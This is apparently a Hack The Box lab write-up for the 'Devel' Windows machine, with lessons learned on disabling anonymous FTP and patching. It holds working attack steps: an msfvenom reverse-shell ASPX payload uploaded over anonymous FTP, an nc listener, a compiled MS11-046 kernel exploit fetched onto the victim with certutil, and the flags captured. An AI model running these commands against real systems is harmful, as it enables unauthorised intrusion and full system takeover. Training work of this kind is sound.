HACKTHEBOX

Date: 12/01/2022

By: Wael Ghnimi

Vulnerability Exploited: **Insecure Configuration of FTP Server (CVE-1999-0497)**

System Vulnerable: 10.10.10.5

Vulnerability Explanation: Anonymous authentication is an FTP vulnerability that allows users to log in with a username of FTP or anonymously. Therefore, any remote user may connect and authenticate to the server without providing a password or unique credentials. This allows the user to access any files made available by the FTP server.

Vulnerability Fix: Disable anonymous FTP if it is not required. Routinely check the FTP server to ensure that sensitive content is not being made available.

Privilege Escalation Vulnerability: Windows kernel vulnerability. The Ancillary Function Driver (AFD) supports Windows sockets applications and is contained in the afd.sys file. The afd.sys driver runs in kernel mode and manages the Winsock TCP/IP communications protocol. An elevation of privilege vulnerability exists where the AFD improperly validates input passed from user mode to the kernel. An attacker must have valid logon credentials and be able to log on locally to exploit the vulnerability. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM privileges).

Vulnerability Fix: The user should have updated and patched his system when the vulnerability was publicly disclosed, and a security update was made available.

Severity: **Critical**

An initial Nmap scan revealed the FTP server on port 21 and HTTP server on port 80.

```
# Nmap 7.92 scan initiated Sun Dec 12 03:22:10 2021 as: nmap -sC -sV -v -oN nmap/initial 10.10.10.5
Nmap scan report for 10.10.10.5
Host is up (0.11s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
| 12-12-21  10:05AM                 2934 reverse.aspx
| 12-12-21  08:23AM                   16 text.txt
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 12 03:22:33 2021 -- 1 IP address (1 host up) scanned in 22.84 seconds
```

Anonymous login is enabled, any user can access the ftp server using anonymous username and no password

```
┌──(root💀kali)-[/root/HTB/windows/devel]
└─# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:anything
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
12-12-21  10:05AM                 2934 reverse.aspx
12-12-21  08:23AM                   16 text.txt
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
```

On this machine, the port 80 (HTTP) is opened too, the attacker can see the content of this folder using the browser, which is the content of the webserver. For example, we can access and check the content of the text.txt file as follow:

Create a reverse shell payload using msfvenom and save it on file “me.aspx”

```
┌──(root💀kali)-[/root/HTB/windows/devel]
└─# msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.16.8 LPORT=9001 -e x86/shikata_ga_nai -o
me.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of aspx file: 2847 bytes
Saved as: me.aspx
```

Upload the shell to the victim machine using the ftp server (open the ftp on the same working folder that contains the shell to follow the next steps)

```
ftp> put *.aspx
local: me.aspx remote: me.aspx
200 PORT command successful.
150 Opening ASCII mode data connection.
226 Transfer complete.
2884 bytes sent in 0.00 secs (45.0885 MB/s)
ftp>
```

Launch a local listener using nc command and visit the following link: http://10.10.10.5/me.aspx

A reverse shell received as IIS APPOOL\WEB

```
┌──(root💀kali)-[/root/HTB/windows/devel]
└─# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.5] 49170
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
```

Privilege Escalation:

Check the OS version using systeminfo command:

```
Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31
System Boot Time:          12/12/2021, 7:37:26
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.464 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.544 MB
Virtual Memory: In Use:    597 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Local Area Connection 3
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.5
                                 [02]: fe80::58c0:f1cf:abc6:bb9e
                                 [03]: dead:beef::fc
```

Based on the OS version “6.1.7600 N/A Build 7600”, we can use the following exploit:

```
... SNIP ...

  if(IsWow64())

   {

      printf("   [-] 64-bit\n");

      return -1;

   }

   printf("   [+] 32-bit\n");

   // identify target machine's OS version

   // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx

   // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx

   // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx

   OSVERSIONINFOEX osvi;

   ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));

   osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

   GetVersionEx((LPOSVERSIONINFO) &osvi);

   // define operating system version specific variables

   unsigned char shellcode_KPROCESS;

   unsigned char shellcode_TOKEN;

   unsigned char shellcode_UPID;

   unsigned char shellcode_APLINKS;

   const char **securityPatchesPtr;

   int securityPatchesCount;

   int lpInBufferSize;

.. SNIP...
```

https://www.exploit-db.com/exploits/40564

Download the exploit file and compile it on the local machine as the follow:

```
┌──(root💀kali)-[/root/HTB/windows/devel]
└─# i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32

┌──(root💀kali)-[/root/HTB/windows/devel]
└─# ls MS*
2 ×
MS11-046.c  MS11-046.exe
```

Launch a simple http server using python on the local machine to transfer the exploit file to the victim machine

```
┌──(root💀kali)-[/root/HTB/windows/devel]
└─# python -m SimpleHTTPServer 80
1 ×
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.5 - - [12/Dec/2021 04:10:59] "GET /MS11-046.exe HTTP/1.1" 200 -
10.10.10.5 - - [12/Dec/2021 04:11:02] "GET /MS11-046.exe HTTP/1.1" 200 -
```

Download the exploit on the victim machine using certuil command on the c:\inetpub\wwwroot directory

```
c:\inetpub\wwwroot>certutil.exe -urlcache -f http://10.10.16.8/MS11-046.exe MS11-046.exe
certutil.exe -urlcache -f http://10.10.16.8/MS11-046.exe MS11-046.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
```

Execute the MS11-046.exe exploit to get the SYSTEM privilege

```
c:\inetpub\wwwroot>.\MS11-046.exe
.\MS11-046.exe

c:\Windows\System32>whoami
whoami
nt authority\system
```

user.txt

```
c:\Users\babis\Desktop>type user.txt.txt && hostname && whoami.exe && ipconfig /all
type user.txt.txt && hostname && whoami.exe && ipconfig /all
9ecdd6a3aedf24b41562fea70f4cb3e8devel
nt authority\system

Windows IP Configuration

   Host Name . . . . . . . . . . . . : devel
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : htb

Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter #3
   Physical Address. . . . . . . . . : 00-11-22-33-44-55
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv6 Address. . . . . . . . . . . : dead:beef::fc(Preferred)
   Lease Obtained. . . . . . . . . . : ◆◆◆◆◆◆◆, 12 ◆◆◆◆◆◆◆妬 2021 7:37:48 ◆◆
   Lease Expires . . . . . . . . . . : ◆◆◆◆◆◆◆, 12 ◆◆◆◆◆◆◆妬 2021 11:22:47 ◆◆
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.10.10.5(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DHCPv6 IAID . . . . . . . . . . . : 301994274
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-20-5D-7C-86-00-50-56-97-60-BA
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled
   Connection-specific DNS Suffix Search List :
                                       htb

Tunnel adapter isatap.{C57F02F8-DF4F-40EE-BC21-A206B3F501E4}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 9:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

c:\Users\babis\Desktop>
```

```
c:\Users\babis\Desktop>type user.txt.txt && hostname && whoami.exe && ipconfig /all
type user.txt.txt && hostname && whoami.exe && ipconfig /all
9ecdd6a3aedf24b41562fea70f4cb3e8devel
nt authority\system

Windows IP Configuration

   Host Name . . . . . . . . . . . . : devel
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : htb

Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter #3
   Physical Address. . . . . . . . . : 00-11-22-33-44-55
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv6 Address. . . . . . . . . . . : dead:beef::fc(Preferred)
   Lease Obtained. . . . . . . . . . :        , 12        妬 2021 7:37:48
   Lease Expires . . . . . . . . . . :        , 12        妬 2021 11:22:47
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.10.10.5(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DHCPv6 IAID . . . . . . . . . . . : 301994274
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-20-5D-7C-86-00-50-56-97-60-BA
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled
   Connection-specific DNS Suffix Search List :
                                       htb

Tunnel adapter isatap.{C57F02F8-DF4F-40EE-BC21-A206B3F501E4}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 9:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
```

root.txt

```
c:\Users\Administrator\Desktop>type root.txt && hostname && whoami.exe && ipconfig /all
type root.txt && hostname && whoami.exe && ipconfig /all
e621a0b5041708797c4fc4728bc72b4bdevel
nt authority\system

Windows IP Configuration

   Host Name . . . . . . . . . . . . : devel
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : htb

Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter #3
   Physical Address. . . . . . . . . : 00-11-22-33-44-55
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv6 Address. . . . . . . . . . . : dead:beef::fc(Preferred)
   Lease Obtained. . . . . . . . . . : ◆◆◆◆◆◆◆, 12 ◆◆◆◆◆◆◆妬 2021 7:37:48 ◆◆
   Lease Expires . . . . . . . . . . : ◆◆◆◆◆◆◆, 12 ◆◆◆◆◆◆◆妬 2021 11:22:47 ◆◆
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.10.10.5(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DHCPv6 IAID . . . . . . . . . . . : 301994274
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-20-5D-7C-86-00-50-56-97-60-BA
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled
   Connection-specific DNS Suffix Search List :
                                       htb

Tunnel adapter isatap.{C57F02F8-DF4F-40EE-BC21-A206B3F501E4}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 9:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

c:\Users\Administrator\Desktop>
```

```
C:\Users\Administrator\Desktop>type root.txt && hostname && whoami.exe && ipconfig /all
type root.txt && hostname && whoami.exe && ipconfig /all
e621a0b5041708797c4fc4728bc72b4bdevel
nt authority\system

Windows IP Configuration

   Host Name . . . . . . . . . . . . : devel
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : htb

Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter #3
   Physical Address. . . . . . . . . : 00-11-22-33-44-55
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv6 Address. . . . . . . . . . . : dead:beef::fc(Preferred)
   Lease Obtained. . . . . . . . . . :        , 12        妬 2021 7:37:48
   Lease Expires . . . . . . . . . . :        , 12        妬 2021 11:22:47
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.10.10.5(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DHCPv6 IAID . . . . . . . . . . . : 301994274
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-20-5D-7C-86-00-50-56-97-60-BA
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled
   Connection-specific DNS Suffix Search List :
                                       htb

Tunnel adapter isatap.{C57F02F8-DF4F-40EE-BC21-A206B3F501E4}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : htb
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 9:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
```

Lessons Learned

There were essentially two vulnerabilities that allowed us to gain system level access to the machine.

The first vulnerability was insecure configuration of the FTP server that allowed us to gain an initial foothold. Our initial way in was through the anonymous login. Then we found out that the FTP server shared the root directory of the web server. Therefore, when we uploaded a reverse shell in the FTP server, we were able to run it using the browser. This gave us a low privileged shell on the machine.

The user should have done two things to avoid this vulnerability:

1. Disabled anonymous access to the FTP server.
2. If anonymous access was necessary, the user should have configured the FTP server to only allow downloads. This way the attacker would not have been able to upload files.

The second vulnerability was a Windows kernel vulnerability that allowed us to elevate privileges. The user should have updated and patched his system when the vulnerability was publicly disclosed, and a security update was made available.